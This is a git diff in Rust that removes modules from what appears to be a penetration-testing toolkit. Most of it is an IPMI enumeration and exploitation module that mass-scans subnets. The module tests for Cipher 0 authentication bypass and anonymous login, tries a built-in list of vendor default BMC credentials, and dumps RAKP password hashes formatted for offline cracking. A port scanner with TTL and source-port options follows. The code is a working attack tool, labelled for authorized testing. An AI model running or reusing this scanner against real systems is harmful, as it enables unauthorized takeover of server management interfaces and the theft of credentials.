.map(|s| s.as_u16().to_string())
.unwrap_or_else(|| "n/a".to_string());
lines.push(format!(
"{} | status: {:<5} | title: {}",
result.url,
status_text,
result.display_title()
));
if result.duration_ms > 0 {
lines.push(format!(" duration: {} ms", result.duration_ms));
}
}
fs::write(path, lines.join("\n")).with_context(|| format!("Failed to write report to {}", path))
}
fn banner() {
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ HTTP Title Scanner ║".cyan());
println!("{}", "║ Enumerate page titles over HTTP/HTTPS endpoints ║".cyan());
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
println!();
}
-798
View File
@@ -1,798 +0,0 @@
//! IPMI Enumeration and Exploitation Module - FIXED VERSION
//!
//! Comprehensive IPMI scanner supporting:
//! - Mass scanning (Single, Subnet, File list)
//! - Version detection (IPMI 1.5/2.0)
//! - Cipher 0 authentication bypass detection
//! - Anonymous authentication testing
//! - Default credential brute force
//! - RAKP hash dumping for offline cracking
//! - Supermicro-specific vulnerability checks
//!
//! Default Port: 623/UDP
//! FOR AUTHORIZED TESTING ONLY.
use anyhow::{anyhow, Context, Result};
use colored::*;
use std::net::{IpAddr, SocketAddr};
use std::time::Duration;
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use tokio::sync::Semaphore;
use tokio::net::UdpSocket;
use futures::stream::{FuturesUnordered, StreamExt};
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use tokio::sync::Mutex;
use crate::utils::{
normalize_target, prompt_default, prompt_port, prompt_yes_no,
prompt_required, prompt_existing_file, prompt_int_range,
};
// IPMI Constants
const IPMI_PORT: u16 = 623;
const RECV_TIMEOUT_MS: u64 = 3000;
const MAX_RETRIES: usize = 2;
// RMCP Header
const RMCP_VERSION: u8 = 0x06;
const RMCP_RESERVED: u8 = 0x00;
const RMCP_SEQ: u8 = 0xFF;
const RMCP_CLASS_IPMI: u8 = 0x07;
// IPMI Commands
const IPMI_CMD_GET_CHANNEL_AUTH_CAP: u8 = 0x38;
const IPMI_CMD_GET_SESSION_CHALLENGE: u8 = 0x39;
// Authentication Types
const AUTH_TYPE_NONE: u8 = 0x00;
const AUTH_TYPE_MD5: u8 = 0x02;
const AUTH_TYPE_RMCPP: u8 = 0x06;
// RAKP Payload Types
const PAYLOAD_RMCPP_OPEN_SESSION_REQUEST: u8 = 0x10;
const PAYLOAD_RAKP_MESSAGE_1: u8 = 0x12;
const PAYLOAD_RAKP_MESSAGE_2: u8 = 0x13;
// Default credentials
const DEFAULT_CREDS: &[(&str, &str, &str)] = &[
("Dell iDRAC", "root", "calvin"),
("IBM IMM", "USERID", "PASSW0RD"),
("Fujitsu iRMC", "admin", "admin"),
("Supermicro IPMI", "ADMIN", "ADMIN"),
("Oracle/Sun ILOM", "root", "changeme"),
("ASUS iKVM BMC", "admin", "admin"),
("Generic", "admin", "admin"),
("Generic", "root", "root"),
("Generic", "Administrator", "password"),
];
#[derive(Debug, Clone)]
struct IpmiInfo {
ip: IpAddr,
version: String,
auth_types: Vec<String>,
cipher_zero_vulnerable: bool,
anonymous_access: bool,
valid_creds: Option<(String, String, String)>,
rakp_hash: Option<String>,
supermicro_upnp_open: bool,
supermicro_49152_open: bool,
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ IPMI Enumeration & Exploitation Module (FIXED) ║".cyan());
println!("{}", "║ Mass Scan, Cipher 0, Default Creds, Version Detection ║".cyan());
println!("{}", "║ FOR AUTHORIZED TESTING ONLY ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("Select operation mode:");
println!(" 1. Single Target");
println!(" 2. Subnet Scan (CIDR)");
println!(" 3. Target List (File)");
println!();
let mode = prompt_required("Select mode [1-3]: ")?;
let targets = match mode.as_str() {
"1" => {
let t = if target.trim().is_empty() {
prompt_required("Target IP: ")?
} else {
target.to_string()
};
vec![normalize_target(&t)?]
},
"2" => {
let cidr = if target.trim().is_empty() || !target.contains('/') {
prompt_required("Target CIDR (e.g., 192.168.1.0/24): ")?
} else {
target.to_string()
};
cidr.parse::<ipnetwork::IpNetwork>()
.context("Invalid CIDR format")?
.iter()
.map(|ip| ip.to_string())
.collect()
},
"3" => {
let path = prompt_existing_file("Path to target list file: ")?;
let content = tokio::fs::read_to_string(path)
.await
.context("Failed to read target file")?;
content.lines()
.map(|s| s.trim().to_string())
.filter(|s| !s.is_empty())
.collect()
},
_ => return Err(anyhow!("Invalid selection")),
};
if targets.is_empty() {
return Err(anyhow!("No valid targets found"));
}
// Check for extremely large scans
if targets.len() > 100000 {
println!("{}", format!("[!] Warning: Large scan detected ({} targets).", targets.len()).yellow().bold());
if !prompt_yes_no("This may consume significant memory and time. Continue?", false)? {
return Ok(());
}
}
println!("[*] Loaded {} targets", targets.len());
let port = prompt_port("IPMI Port", IPMI_PORT)?;
let test_cipher_zero = prompt_yes_no("Test Cipher 0 vulnerability?", true)?;
let test_anonymous = prompt_yes_no("Test anonymous authentication?", true)?;
let test_default_creds = prompt_yes_no("Test default credentials?", true)?;
let test_rakp_hash = prompt_yes_no("Attempt RAKP hash dumping (IPMI 2.0)?", true)?;
let concurrency = if targets.len() > 1 {
prompt_int_range("Max concurrent scans", 50, 1, 10000)? as usize
} else {
1
};
let output_file = prompt_default("Output result file", "ipmi_scan_results.csv")?;
println!("\n{}", "=== Starting IPMI Scan ===".bold().cyan());
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
let total_targets = targets.len();
// Progress monitoring task
if total_targets > 1 {
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
let checked = s_checked.load(Ordering::Relaxed);
let found = s_found.load(Ordering::Relaxed);
if checked >= total_targets { break; }
println!(
"[*] Progress: {}/{} checked, {} IPMI found",
checked, total_targets, found.to_string().green().bold()
);
}
});
}
let mut tasks = FuturesUnordered::new();
// Initialize output file with proper CSV headers
let output_file_handle = OpenOptions::new()
.create(true)
.write(true)
.truncate(true)
.open(&output_file)
.await
.context("Failed to create output file")?;
let mut file_handle = output_file_handle;
file_handle.write_all(format!("IPMI Scan Results - {}\n", chrono::Local::now()).as_bytes()).await?;
file_handle.write_all(b"IP,Port,Version,AuthTypes,Exploits,Cipher0,Anonymous,Credentials,RAKP_Hash,UPnP_1900,Port_49152\n").await?;
let output_file_arc = Arc::new(Mutex::new(file_handle));
for target_str in targets {
let sem = semaphore.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file_arc.clone();
let target_ip_str = target_str.clone();
tasks.push(tokio::spawn(async move {
let _permit = sem.acquire().await.unwrap();
// Resolve IP
let ip_res = if let Ok(ip) = target_ip_str.parse::<IpAddr>() {
Ok(ip)
} else {
match tokio::net::lookup_host(format!("{}:{}", target_ip_str, port)).await {
Ok(mut iter) => iter.next()
.map(|s| s.ip())
.ok_or_else(|| anyhow!("No IP resolved")),
Err(e) => Err(anyhow!(e)),
}
};
if let Ok(ip) = ip_res {
let addr = SocketAddr::new(ip, port);
// Perform Scan
match scan_host(addr, test_cipher_zero, test_anonymous, test_default_creds, test_rakp_hash).await {
Ok(Some(info)) => {
sf.fetch_add(1, Ordering::Relaxed);
// Display Result
let vuln_str = if info.cipher_zero_vulnerable { " [CIPHER0]".red().bold() } else { "".into() };
let anon_str = if info.anonymous_access { " [ANON]".red().bold() } else { "".into() };
let rakp_str = if info.rakp_hash.is_some() { " [HASH]".magenta().bold() } else { "".into() };
let upnp_str = if info.supermicro_upnp_open { " [UPNP]".yellow().bold() } else { "".into() };
let port_str = if info.supermicro_49152_open { " [49152]".yellow().bold() } else { "".into() };
let cred_str = if let Some((v, u, p)) = &info.valid_creds {
format!(" [CRED: {} {}:{}]", v, u, p).green().bold()
} else {
"".into()
};
println!("[+] {}: {} {}{}{}{}{}{}",
info.ip,
info.version.green(),
vuln_str,
anon_str,
rakp_str,
upnp_str,
port_str,
cred_str
);
// Save to file (thread-safe)
{
let mut file_guard = of.lock().await;
let auth_types_str = info.auth_types.join("; ");
let mut exploits = Vec::new();
if info.cipher_zero_vulnerable { exploits.push("CIPHER0_BYPASS"); }
if info.anonymous_access { exploits.push("ANON_AUTH"); }
if info.rakp_hash.is_some() { exploits.push("RAKP_HASH_DUMP"); }
if info.supermicro_upnp_open { exploits.push("UPNP_1900"); }
if info.supermicro_49152_open { exploits.push("SUPERMICRO_49152"); }
if info.valid_creds.is_some() { exploits.push("DEFAULT_CREDS"); }
let exploit_str = if exploits.is_empty() {
"VERSION_ONLY".to_string()
} else {
exploits.join(", ")
};
let cipher0_str = if info.cipher_zero_vulnerable { "Yes" } else { "No" };
let anon_str = if info.anonymous_access { "Yes" } else { "No" };
let creds_str = if let Some((v, u, p)) = &info.valid_creds {
format!("Yes - {} ({}:{})", v, u, p)
} else {
"No".to_string()
};
let rakp_str = info.rakp_hash.as_ref().unwrap_or(&"No".to_string()).clone();
let upnp_str = if info.supermicro_upnp_open { "Yes" } else { "No" };
let p49152_str = if info.supermicro_49152_open { "Yes" } else { "No" };
let line = format!(
"{},{},{},{},{},{},{},{},{},{},{}",
info.ip,
port,
info.version,
auth_types_str,
exploit_str,
cipher0_str,
anon_str,
creds_str,
rakp_str,
upnp_str,
p49152_str
);
let _ = file_guard.write_all(format!("{}\n", line).as_bytes()).await;
}
},
Ok(None) => {
// No IPMI service detected
},
Err(e) => {
eprintln!("[!] Error scanning {}: {}", ip, e);
}
}
}
sc.fetch_add(1, Ordering::Relaxed);
}));
}
// Wait for all tasks to complete
while tasks.next().await.is_some() {}
let final_checked = stats_checked.load(Ordering::Relaxed);
let final_found = stats_found.load(Ordering::Relaxed);
println!("\n{}", "=== Scan Complete ===".green().bold());
println!("Targets scanned: {}", final_checked);
println!("IPMI services found: {}", final_found.to_string().green().bold());
println!("Results saved to: {}", output_file.cyan());
Ok(())
}
async fn scan_host(
addr: SocketAddr,
check_c0: bool,
check_anon: bool,
check_creds: bool,
check_rakp: bool,
) -> Result<Option<IpmiInfo>> {
// Use tokio async UDP socket
let socket = UdpSocket::bind("0.0.0.0:0")
.await
.context("Failed to bind UDP socket")?;
socket.connect(addr)
.await
.context("Failed to connect to target")?;
// 1. Detect Version
let (version, auth_types) = match detect_ipmi_version(&socket).await {
Ok(res) => res,
Err(_) => return Ok(None), // Not IPMI or unreachable
};
let mut info = IpmiInfo {
ip: addr.ip(),
version,
auth_types,
cipher_zero_vulnerable: false,
anonymous_access: false,
valid_creds: None,
rakp_hash: None,
supermicro_upnp_open: false,
supermicro_49152_open: false,
};
// 2. Check Cipher 0
if check_c0 && info.version.contains("2.0") {
if let Ok(true) = test_cipher_zero_vuln(&socket).await {
info.cipher_zero_vulnerable = true;
}
}
// 3. Check Anonymous Access
if check_anon {
if let Ok(true) = test_credentials(&socket, "", "").await {
info.anonymous_access = true;
}
}
// 4. Test Default Credentials
if check_creds {
for (vendor, user, pass) in DEFAULT_CREDS {
if let Ok(true) = test_credentials(&socket, user, pass).await {
info.valid_creds = Some((vendor.to_string(), user.to_string(), pass.to_string()));
break;
}
}
}
// 5. RAKP Hash Dump (IPMI 2.0 Only)
if check_rakp && info.version.contains("2.0") {
let target_users = ["admin", "root", "Administrator", "ADMIN"];
for user in target_users {
if let Ok(Some(hash)) = get_rakp_hash(&socket, user).await {
info.rakp_hash = Some(hash);
break;
}
}
}
// 6. Supermicro Checks (UPnP 1900 + Port 49152)
if scan_supermicro_upnp(addr.ip(), 1900).await {
info.supermicro_upnp_open = true;
}
if scan_supermicro_upnp(addr.ip(), 49152).await {
info.supermicro_49152_open = true;
}
Ok(Some(info))
}
// --- Helper Functions ---
fn build_rmcp_header() -> Vec<u8> {
vec![
RMCP_VERSION, // Version
RMCP_RESERVED, // Reserved
RMCP_SEQ, // Sequence (0xFF for no ack)
RMCP_CLASS_IPMI, // Class (IPMI)
]
}
fn build_get_auth_cap_request(channel: u8, privilege: u8) -> Vec<u8> {
let mut packet = build_rmcp_header();
packet.push(AUTH_TYPE_NONE);
packet.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Session Seq
packet.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Session ID
// Message data starts here (after IPMI session header)
let msg_start = packet.len();
packet.push(0x09); // Message length (will be adjusted)
packet.push(0x20); // Target (BMC)
packet.push((0x06 << 2) | 0x00); // NetFn (0x06 = App) / LUN
let header_checksum = calculate_checksum(&packet[msg_start + 1..]);
packet.push(header_checksum);
packet.push(0x81); // Source (Requester)
packet.push((0x00 << 2) | 0x00); // Seq/LUN
packet.push(IPMI_CMD_GET_CHANNEL_AUTH_CAP);
packet.push(0x80 | channel); // Extended capabilities
packet.push(privilege);
let data_checksum = calculate_checksum(&packet[msg_start + 4..]);
packet.push(data_checksum);
// Update message length
packet[msg_start] = (packet.len() - msg_start - 1) as u8;
packet
}
fn build_session_challenge_request(auth_type: u8, username: &str) -> Vec<u8> {
let mut packet = build_rmcp_header();
packet.push(AUTH_TYPE_NONE);
packet.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]);
packet.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]);
let msg_start = packet.len();
packet.push(0x18); // Message length placeholder
packet.push(0x20);
packet.push((0x06 << 2) | 0x00); // NetFn / LUN
let header_checksum = calculate_checksum(&packet[msg_start + 1..msg_start + 3]);
packet.push(header_checksum);
packet.push(0x81);
packet.push((0x00 << 2) | 0x00);
packet.push(IPMI_CMD_GET_SESSION_CHALLENGE);
packet.push(auth_type);
let mut user_bytes = [0u8; 16];
let user_len = username.len().min(16);
user_bytes[..user_len].copy_from_slice(&username.as_bytes()[..user_len]);
packet.extend_from_slice(&user_bytes);
let data_checksum = calculate_checksum(&packet[msg_start + 4..]);
packet.push(data_checksum);
// Update message length
packet[msg_start] = (packet.len() - msg_start - 1) as u8;
packet
}
fn calculate_checksum(data: &[u8]) -> u8 {
let sum: u8 = data.iter().fold(0u8, |acc, &x| acc.wrapping_add(x));
(!sum).wrapping_add(1)
}
async fn detect_ipmi_version(socket: &UdpSocket) -> Result<(String, Vec<String>)> {
let request = build_get_auth_cap_request(0x0E, 0x04);
for attempt in 0..MAX_RETRIES {
socket.send(&request)
.await
.context("Failed to send Get Channel Auth Capabilities request")?;
let mut buffer = [0u8; 256];
match tokio::time::timeout(
Duration::from_millis(RECV_TIMEOUT_MS),
socket.recv(&mut buffer)
).await {
Ok(Ok(n)) if n > 20 => {
// Validate RMCP header
if buffer[0] != RMCP_VERSION || buffer[3] != RMCP_CLASS_IPMI {
continue;
}
// Check completion code (byte 20 in standard response)
if n < 24 { continue; }
let completion_code = buffer[20];
if completion_code != 0x00 {
return Err(anyhow!("IPMI returned error code: 0x{:02x}", completion_code));
}
let auth_type_support = buffer[22];
let extended_cap = if n > 24 { buffer[24] } else { 0 };
let mut auth_types = Vec::new();
if auth_type_support & 0x01 != 0 { auth_types.push("None".to_string()); }
if auth_type_support & 0x02 != 0 { auth_types.push("MD2".to_string()); }
if auth_type_support & 0x04 != 0 { auth_types.push("MD5".to_string()); }
if auth_type_support & 0x10 != 0 { auth_types.push("Password".to_string()); }
if auth_type_support & 0x20 != 0 { auth_types.push("OEM".to_string()); }
let version = if extended_cap & 0x02 != 0 {
"IPMI 2.0".to_string()
} else {
"IPMI 1.5".to_string()
};
return Ok((version, auth_types));
}
Ok(Ok(_)) => continue,
Ok(Err(e)) => {
if attempt == MAX_RETRIES - 1 {
return Err(anyhow!("Recv error: {}", e));
}
continue;
}
Err(_) => {
if attempt == MAX_RETRIES - 1 {
return Err(anyhow!("Timeout waiting for response"));
}
continue;
}
}
}
Err(anyhow!("No valid response after {} retries", MAX_RETRIES))
}
async fn test_cipher_zero_vuln(socket: &UdpSocket) -> Result<bool> {
// Cipher 0 means authentication can be bypassed with "None" auth type
// We already check this in detect_ipmi_version by looking at auth_type_support
// This is a simplified check - for IPMI 2.0, cipher suite 0 specifically means
// no authentication, no integrity, no confidentiality
let request = build_get_auth_cap_request(0x0E, 0x04);
socket.send(&request).await?;
let mut buffer = [0u8; 256];
match tokio::time::timeout(
Duration::from_millis(RECV_TIMEOUT_MS),
socket.recv(&mut buffer)
).await {
Ok(Ok(n)) if n > 22 => {
let auth_type_support = buffer[22];
// If "None" authentication is supported, it's vulnerable
Ok(auth_type_support & 0x01 != 0)
}
_ => Ok(false),
}
}
async fn test_credentials(socket: &UdpSocket, username: &str, _password: &str) -> Result<bool> {
let request = build_session_challenge_request(AUTH_TYPE_MD5, username);
for _ in 0..MAX_RETRIES {
socket.send(&request).await?;
let mut buffer = [0u8; 256];
match tokio::time::timeout(
Duration::from_millis(RECV_TIMEOUT_MS),
socket.recv(&mut buffer)
).await {
Ok(Ok(n)) if n > 20 => {
let completion_code = buffer[20];
// 0x00 = success (user exists and session challenge returned)
// 0xCC = invalid user
if completion_code == 0x00 {
return Ok(true);
}
return Ok(false);
}
_ => continue,
}
}
Ok(false)
}
/// Retrieve RAKP Hash (HMAC-SHA1) for offline cracking
/// Returns formatted hash compatible with hashcat/john
async fn get_rakp_hash(socket: &UdpSocket, username: &str) -> Result<Option<String>> {
// Step 1: Send RMCP+ Open Session Request
let open_req = build_rmcpp_open_session_request();
socket.send(&open_req).await.context("Failed to send Open Session Request")?;
let mut buffer = [0u8; 1024];
let n = match tokio::time::timeout(
Duration::from_millis(RECV_TIMEOUT_MS),
socket.recv(&mut buffer)
).await {
Ok(Ok(n)) if n > 36 => n,
_ => return Ok(None),
};
// Validate RMCP header
if buffer[0] != RMCP_VERSION { return Ok(None); }
// Parse Open Session Response
// Structure: RMCP(4) + Auth(1) + PayloadType(1) + SessionID(4) + Seq(4) + PayloadLen(2) + Payload
if buffer[5] != (PAYLOAD_RMCPP_OPEN_SESSION_REQUEST + 1) { // Response is request + 1
return Ok(None);
}
// Check status code in payload (offset 16)
if n < 28 || buffer[16] != 0x00 {
return Ok(None);
}
// Extract Managed System Session ID (offset 20-23, little-endian)
let managed_session_id = u32::from_le_bytes([
buffer[20], buffer[21], buffer[22], buffer[23]
]);
// Step 2: Send RAKP Message 1
let console_session_id = 0xAABBCCDD_u32; // Our chosen session ID
let console_random = [0x41u8; 16]; // Random nonce
let rakp1 = build_rakp_message_1(username, managed_session_id, console_session_id, &console_random);
socket.send(&rakp1).await.context("Failed to send RAKP Message 1")?;
// Step 3: Receive RAKP Message 2
let n = match tokio::time::timeout(
Duration::from_millis(RECV_TIMEOUT_MS),
socket.recv(&mut buffer)
).await {
Ok(Ok(n)) if n > 60 => n,
_ => return Ok(None),
};
// Validate RAKP Message 2
if buffer[0] != RMCP_VERSION { return Ok(None); }
if buffer[5] != PAYLOAD_RAKP_MESSAGE_2 { return Ok(None); }
// RAKP2 Payload starts at offset 16
// Structure: Tag(1) + Status(1) + Reserved(2) + Console Session ID(4) +
// Managed Random(16) + Managed GUID(16) + HMAC(20 for SHA1)
let rakp2_offset = 16;
if n < rakp2_offset + 60 { return Ok(None); }
let status = buffer[rakp2_offset + 1];
if status != 0x00 {
return Ok(None); // Authentication failed or user doesn't exist
}
// Extract salt (Managed System Random Number) - 16 bytes at offset 24
let salt_offset = rakp2_offset + 8;
let salt = &buffer[salt_offset..salt_offset + 16];
// Extract HMAC - typically last 20 bytes (SHA1) at offset 40
let hmac_offset = rakp2_offset + 40;
let hmac = &buffer[hmac_offset..hmac_offset + 20];
// Format for hashcat (mode 7300) or john
// Format: $rakp$<salt_hex>$<hmac_hex>$<username>$<session_id_hex>
let salt_hex = hex::encode(salt);
let hmac_hex = hex::encode(hmac);
let session_hex = format!("{:08x}", console_session_id);
let hash = format!("$rakp${}${}${}${}", salt_hex, hmac_hex, username, session_hex);
Ok(Some(hash))
}
fn build_rmcpp_open_session_request() -> Vec<u8> {
let mut p = build_rmcp_header();
p.push(AUTH_TYPE_RMCPP); // RMCP+ Auth Type
p.push(PAYLOAD_RMCPP_OPEN_SESSION_REQUEST); // Payload Type
p.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Session ID (0 for setup)
p.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Sequence Number
// Payload Length (32 bytes) - little endian
p.extend_from_slice(&[0x20, 0x00]);
// Open Session Request Payload
p.push(0x00); // Message Tag
p.push(0x00); // Requested Max Privilege Level (0 = highest available)
p.extend_from_slice(&[0x00, 0x00]); // Reserved
// Console Session ID (our chosen ID)
p.extend_from_slice(&[0xAA, 0xBB, 0xCC, 0xDD]);
// Authentication Algorithm: RAKP-HMAC-SHA1
p.extend_from_slice(&[
0x00, 0x00, 0x00, 0x08, // Auth payload type + length
0x01, 0x00, 0x00, 0x00 // Algorithm: RAKP-HMAC-SHA1
]);
// Integrity Algorithm: HMAC-SHA1-96
p.extend_from_slice(&[
0x01, 0x00, 0x00, 0x08, // Integrity payload type + length
0x01, 0x00, 0x00, 0x00 // Algorithm: HMAC-SHA1-96
]);
// Confidentiality Algorithm: None
p.extend_from_slice(&[
0x02, 0x00, 0x00, 0x08, // Confidentiality payload type + length
0x00, 0x00, 0x00, 0x00 // Algorithm: None
]);
p
}
fn build_rakp_message_1(
username: &str,
managed_session_id: u32,
_console_session_id: u32,
console_random: &[u8; 16]
) -> Vec<u8> {
let mut p = build_rmcp_header();
p.push(AUTH_TYPE_RMCPP);
p.push(PAYLOAD_RAKP_MESSAGE_1);
p.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Session ID (0)
p.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Sequence
// Calculate Payload Length
let payload_len = 1 + 3 + 4 + 16 + 1 + 1 + username.len();
p.extend_from_slice(&(payload_len as u16).to_le_bytes());
// RAKP Message 1 Payload
p.push(0x00); // Message Tag
p.extend_from_slice(&[0x00, 0x00, 0x00]); // Reserved
// Managed System Session ID (from Open Session Response)
p.extend_from_slice(&managed_session_id.to_le_bytes());
// Console Random Number (16 bytes)
p.extend_from_slice(console_random);
// Requested Max Privilege + Username present flag
p.push(0x14); // 0x10 (username present) | 0x04 (Admin privilege)
// Username Length and Username
p.push(username.len() as u8);
p.extend_from_slice(username.as_bytes());
p
}
async fn scan_supermicro_upnp(ip: IpAddr, port: u16) -> bool {
let addr = SocketAddr::new(ip, port);
if let Ok(socket) = UdpSocket::bind("0.0.0.0:0").await {
if socket.connect(addr).await.is_err() {
return false;
}
// M-SEARCH SSDP packet
let msg = "M-SEARCH * HTTP/1.1\r\n\
HOST: 239.255.255.250:1900\r\n\
MAN: \"ssdp:discover\"\r\n\
MX: 1\r\n\
ST: ssdp:all\r\n\r\n";
if socket.send(msg.as_bytes()).await.is_ok() {
let mut buf = [0u8; 1024];
match tokio::time::timeout(
Duration::from_millis(500),
socket.recv(&mut buf)
).await {
Ok(Ok(_)) => return true,
_ => return false,
}
}
}
false
}
-14
View File
@@ -1,14 +0,0 @@
pub mod sample_scanner;
pub mod ssdp_msearch;
pub mod port_scanner;
pub mod stalkroute_full_traceroute;
pub mod http_title_scanner;
pub mod ping_sweep;
pub mod http_method_scanner;
pub mod dns_recursion;
pub mod ssh_scanner;
pub mod smtp_user_enum;
pub mod dir_brute;
pub mod sequential_fuzzer;
pub mod api_endpoint_scanner;
pub mod ipmi_enum_exploit;
File diff suppressed because it is too large Load Diff
-756
View File
@@ -1,756 +0,0 @@
use anyhow::{Result, anyhow, Context};
use colored::*;
use std::{
fs::File,
io::{Write, BufWriter},
net::{SocketAddr, ToSocketAddrs},
sync::{Arc, Mutex},
time::Instant,
};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::{TcpStream, UdpSocket},
sync::Semaphore,
time::{timeout, Duration},
};
use rand::{Rng, rng};
use socket2::{Socket, Domain, Type, Protocol};
#[derive(Debug, Clone, Copy, PartialEq)]
pub enum ScanMethod {
TcpConnect,
Udp,
Both,
}
#[derive(Debug, Clone)]
pub struct ScanSettings {
pub concurrency: usize,
pub timeout_secs: u64,
pub show_only_open: bool,
pub verbose: bool,
pub scan_method: ScanMethod,
pub output_file: String,
pub port_range: PortRange,
pub ttl: Option<u32>,
pub data_length: Option<usize>,
pub source_port: Option<u16>,
}
#[derive(Debug, Clone)]
pub enum PortRange {
All,
Custom { start: u16, end: u16 },
Common,
Top1000,
}
impl PortRange {
fn get_ports(&self) -> Vec<u16> {
match self {
PortRange::All => (1..=65535).collect(),
PortRange::Custom { start, end } => (*start..=*end).collect(),
PortRange::Common => COMMON_PORTS.to_vec(),
PortRange::Top1000 => (1..=1000).collect(),
}
}
}
// Common ports list
const COMMON_PORTS: &[u16] = &[
21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 443, 445, 993, 995, 1723, 3306, 3389, 5900, 8080,
];
// Service detection map
fn get_service_name(port: u16) -> &'static str {
match port {
21 => "FTP",
22 => "SSH",
23 => "Telnet",
25 => "SMTP",
53 => "DNS",
80 => "HTTP",
110 => "POP3",
111 => "RPC",
135 => "MSRPC",
139 => "NetBIOS",
143 => "IMAP",
443 => "HTTPS",
445 => "SMB",
993 => "IMAPS",
995 => "POP3S",
1723 => "PPTP",
3306 => "MySQL",
3389 => "RDP",
5900 => "VNC",
8080 => "HTTP-Proxy",
_ => "",
}
}
/// Interactive config prompt
pub fn prompt_settings() -> Result<ScanSettings> {
println!("{}", "\n=== Port Scanner Configuration ===".cyan().bold());
// Port range selection
println!("\n{}", "Port Range Options:".yellow());
println!(" 1. All ports (1-65535)");
println!(" 2. Common ports (21, 22, 23, 25, 53, 80, 443, etc.)");
println!(" 3. Top 1000 ports");
println!(" 4. Custom range");
let range_choice = prompt_usize("Select option (1-4) [1]: ")?;
let port_range = match range_choice {
1 | 0 => PortRange::All,
2 => PortRange::Common,
3 => PortRange::Top1000,
4 => {
let start_val: usize = prompt_usize("Start port: ")?;
let end_val: usize = prompt_usize("End port: ")?;
if start_val > 65535 || start_val == 0 {
return Err(anyhow!("Start port must be between 1 and 65535"));
}
if end_val > 65535 || end_val == 0 {
return Err(anyhow!("End port must be between 1 and 65535"));
}
let start: u16 = start_val.try_into().map_err(|_| anyhow!("Invalid start port"))?;
let end: u16 = end_val.try_into().map_err(|_| anyhow!("Invalid end port"))?;
if start > end {
return Err(anyhow!("Start port must be <= end port"));
}
PortRange::Custom { start, end }
}
_ => PortRange::All,
};
let ports = port_range.get_ports();
println!("{}", format!("[*] Selected {} ports to scan", ports.len()).green());
// Scan Method Selection
println!("\n{}", "Scan Method:".yellow());
println!(" 1. TCP Connect Scan (Default)");
println!(" 2. UDP Scan");
println!(" 3. Both TCP & UDP");
let method_choice = prompt_usize("Select method (1-3) [1]: ").unwrap_or(1);
let scan_method = match method_choice {
2 => ScanMethod::Udp,
3 => ScanMethod::Both,
_ => ScanMethod::TcpConnect,
};
// Advanced Options
let ttl = if prompt_bool("Enable custom TTL? (y/n) [n]: ").unwrap_or(false) {
Some(prompt_usize("TTL value (1-255): ").unwrap_or(64) as u32)
} else {
None
};
let source_port = if prompt_bool("Enable custom Source Port? (y/n) [n]: ").unwrap_or(false) {
Some(prompt_usize("Source Port (1-65535): ").unwrap_or(0) as u16)
} else {
None
};
let data_length = if prompt_bool("Enable garbage data / payload padding? (y/n) [n]: ").unwrap_or(false) {
Some(prompt_usize("Data length (bytes): ").unwrap_or(0))
} else {
None
};
Ok(ScanSettings {
concurrency: prompt_usize("Concurrency [100]: ").unwrap_or(100),
timeout_secs: prompt_usize("Timeout (in seconds) [3]: ").unwrap_or(3) as u64,
show_only_open: prompt_bool("Show only open ports? (y/n) [y]: ").unwrap_or(true),
verbose: prompt_bool("Verbose output? (y/n) [n]: ").unwrap_or(false),
scan_method,
output_file: prompt("Output filename [scan_results.txt]: ").unwrap_or_else(|_| "scan_results.txt".to_string()),
port_range,
ttl,
source_port,
data_length,
})
}
/// Main entrypoint for interactive CLI mode
pub async fn run_interactive(target: &str) -> Result<()> {
let settings = prompt_settings()?;
run_with_settings(
target,
settings.concurrency,
settings.timeout_secs,
settings.show_only_open,
settings.verbose,
settings.scan_method,
&settings.output_file,
settings.port_range,
settings.ttl,
settings.source_port,
settings.data_length,
)
.await
}
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
}
/// === Core Scanner Logic ===
pub async fn run_with_settings(
target: &str,
concurrency: usize,
timeout_secs: u64,
show_only_open: bool,
_verbose: bool,
scan_method: ScanMethod,
output_file: &str,
port_range: PortRange,
ttl: Option<u32>,
source_port: Option<u16>,
data_length: Option<usize>,
) -> Result<()> {
let start_time = Instant::now();
let (resolved_ip_str, resolved_ip) = resolve_target(target)?;
let semaphore = Arc::new(Semaphore::new(concurrency));
let file = Arc::new(Mutex::new(BufWriter::new(File::create(output_file)?)));
let ports = port_range.get_ports();
let total_ports = ports.len() * (if scan_method == ScanMethod::Both { 2 } else { 1 });
let stats = Arc::new(Mutex::new(ScanStats::new()));
let progress = Arc::new(Mutex::new(ProgressTracker::new(total_ports)));
println!("\n{}", format!("[*] Starting scan for target: {} (resolved: {})", target, resolved_ip_str).cyan().bold());
println!("{}", format!("[*] Scanning {} ports with concurrency: {}", total_ports, concurrency).cyan());
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "Port Scan Results for {} ({})\n", target, resolved_ip_str)?;
let timestamp = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap_or(Duration::from_secs(0))
.as_secs();
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "Scan started at: {}\n", timestamp)?;
// TCP Scan
let mut tcp_tasks = vec![];
if scan_method == ScanMethod::TcpConnect || scan_method == ScanMethod::Both {
